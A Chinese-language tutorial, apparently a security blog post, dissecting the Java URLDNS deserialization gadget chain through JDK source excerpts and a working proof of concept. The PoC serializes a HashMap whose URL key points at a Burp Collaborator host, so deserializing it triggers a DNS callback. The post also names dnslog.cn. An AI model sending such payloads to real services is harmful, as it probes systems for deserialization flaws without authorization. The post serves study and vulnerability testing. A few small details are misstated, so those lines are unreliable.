URLDNS 利用链
URLDNS
URLDNS
URLDNS 利用链是通过 HashMap<java.net.URL, Object>
反序列化时,会重新调用 URL
对象的 hashCode
方法,而该方法可能会发起一个 DNS 请求。
调用链:
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
URL
java.net.URL
实现了 java.io.Serializable
接口,因此可以被序列化。
属性
static final String BUILTIN_HANDLERS_PREFIX = "sun.net.www.protocol";
static final long serialVersionUID = -7627629688361524110L;
private static final String protocolPathProp = "java.protocol.handler.pkgs";
private String protocol;
private String host;
private int port = -1;
private String file;
private transient String query;
private String authority;
private transient String path;
private transient String userInfo;
private String ref;
private transient InetAddress hostAddress;
transient URLStreamHandler handler;
private int hashCode = -1;
private transient UrlDeserializedState tempState;
hashCode 的调用
URL包含私有属性 hashCode
,用于表示 hashCode
的方法的返回值,初始值为 \(-1\):
private int hashCode = -1;
URL#hashCode
源码:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
除了构造时,使用
set
方法也会导致hashCode
置为1。
DNS请求发起时机
hashCode
当URL对象的 hashCode
为 \(-1\) 时(初始值),会调用属性的 transient URLStreamHandler handler
的 hashCode(URL)
方法来设置本对象的 hashCode
属性,并返回。
URLStreamHandler#hashCode(URL u)
源码:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
该方法会获取 URL
对象的 protocol
、hostAddress
、host
、、file
、port
、ref
的 hashCode之和。
而 getHostAddress(u)
方法会调用 InetAddress.getByName(host)
,在第一次请求时会通过DNS请求来获取目标主机地址。
会获取映射IP中的第一个,即
InetAddress.getAllByName(host)[0]
。
getHostAddress
在调用 URL
对象的 getHostAddress()
方法时,会先判断 this.hostAddress
是否为 null,如果为null 这调用 InetAddress.getByName(host)
来获取主机地址,此时可能会发起DNS请求;否则直接返回。
反序列化时发起DNS请求
当URL被序列化时,重写的 writeObject
方法其实为默认的对象序列化方法:
private synchronized void writeObject(java.io.ObjectOutputStream s) throws IOException{
s.defaultWriteObject(); // write the fields
}
而反序列化时,只会读取 protocol
、host
、authority
、file
、ref
、hashCode
值:
private synchronized void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
GetField gf = s.readFields();
String protocol = (String)gf.get("protocol", null);
if (getURLStreamHandler(protocol) == null) {
throw new IOException("unknown protocol: " + protocol);
}
String host = (String)gf.get("host", null);
int port = gf.get("port", -1);
String authority = (String)gf.get("authority", null);
String file = (String)gf.get("file", null);
String ref = (String)gf.get("ref", null);
int hashCode = gf.get("hashCode", -1);
if (authority == null
&& ((host != null && host.length() > 0) || port != -1)) {
if (host == null)
host = "";
authority = (port == -1) ? host : host + ":" + port;
}
tempState = new UrlDeserializedState(protocol, host, port, authority,
file, ref, hashCode);
}
而 hostAddress
会在之后的 getHostAddress()
方法调用中被赋值。
利用 HashMap
HashMap 重写了序列化与反序列化时的方法,不会直接把table直接序列化,而是遍历所有的key单独序列化。而反序列化时会依次把对象反序列化,并 putval
添加进map中,期间会调用其 hashCode
方法来计算位置。
也就是说,如果 URL
对象作为 HashMap
的 key,在HashMap反序列化时,URL的 hashCode
方法会被调用。如果此时的 URL
对象的 hashCode
值为 -1
,那么就可能会发起DNS请求。
可以通过反射将作为 key 的URL对象的 hashCode
属性设为 -1
。
例:
@Test
public void testWrite() throws MalformedURLException, NoSuchFieldException, IllegalAccessException, FileNotFoundException {
URL url = new URL("http://86cktzaj13fvqu74umute3f8gzmpae.burpcollaborator.net");
Class<? extends URL> urlClass = url.getClass();
Field hashCodeField = urlClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
System.out.println(hashCodeField.getInt(url));
hashCodeField.setInt(url,0x3);
HashMap<URL, String> hashMap = new HashMap<>();
hashMap.put(url, url.getPath());
hashCodeField.setInt(url, -1);
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"))){
oos.writeObject(hashMap);
} catch (IOException e) {
e.printStackTrace();
}
}
@Test
public void testRead(){
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));) {
HashMap map = (HashMap)ois.readObject();
System.out.println(map.toString());
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
通过 burpsuite Collaborator 或 http://www.dnslog.cn/
可以获取域名并看到DNS解析记录。
防止在hashCode方法中 DNS 请求
反射修改 URL#hashCode 属性
只要通过反射将URL对象的 hashCode 属性值修改为 -1
以外的数值,就可以避免触发查找主机地址过程。
指定 URLStreamHandler
在 URL
的 hashCode
方法中是由属性 handler
的 hashCode(URL)
方法确定的,而这个 URLStreamHandler
类型的 handler
可以在 URL
构造时指定:
public URL(String protocol, String host, int port, String file,
URLStreamHandler handler) throws MalformedURLException {
而这个 URLStreamHandler
是常规的Stream protocol handler 的抽象超类,负责通过url连接数据流。
为了防止URL类通过该类获取主机地址,需要重写 getHostAddress(URL u)
方法:
protected InetAddress getHostAddress(URL u) {
return u.getHostAddress();
}
除此之外,还需要实现抽象方法 getConnection(URL u)
。
例:ysoserial 的 URLDNS.java 中为防止发出DNS请求而设置的的静态类
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}